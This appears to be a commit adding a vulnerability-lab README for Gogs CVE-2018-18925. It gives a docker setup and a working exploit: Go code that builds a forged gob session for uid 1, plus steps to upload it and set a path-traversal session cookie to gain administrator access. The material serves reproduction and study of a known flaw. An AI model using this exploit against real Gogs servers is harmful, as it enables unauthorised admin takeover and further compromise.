first commit

gogs/CVE-2018-18925/README.md

@@ -0,0 +1,78 @@
+# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Gogs is a painless self-hosted Git service.
+
+Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
+
+References:
+
+- <https://github.com/gogs/gogs/issues/5469>
+- <https://xz.aliyun.com/t/3168>
+- <https://www.anquanke.com/post/id/163575>
+
+## Vulnerable environment
+
+Execute following command to start a Gogs server 0.11.66:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.
+
+Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.
+
+## Exploit
+
+Before the exploit, use Gob to generate a evil session file:
+
+```go
+package main
+
+import (
+    "bytes"
+    "encoding/gob"
+    "encoding/hex"
+    "fmt"
+    "io/ioutil"
+    "os"
+)
+
+func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
+    for _, v := range obj {
+        gob.Register(v)
+    }
+    buf := bytes.NewBuffer(nil)
+    err := gob.NewEncoder(buf).Encode(obj)
+    return buf.Bytes(), err
+}
+
+func main() {
+    var uid int64 = 1
+    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
+    data, err := EncodeGob(obj)
+    if err != nil {
+        fmt.Println(err)
+    }
+    err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
+    if err != nil {
+        fmt.Println(err)
+    }
+    edata := hex.EncodeToString(data)
+    fmt.Println(edata)
+}
+```
+
+Sign up a normal user account, then create a project and upload the generated evil file on release page:
+
+![](1.png)
+
+Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.
+
+Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:
+
+![](2.png)
+
+To execte commands as the administrator role, please refer to the reference links.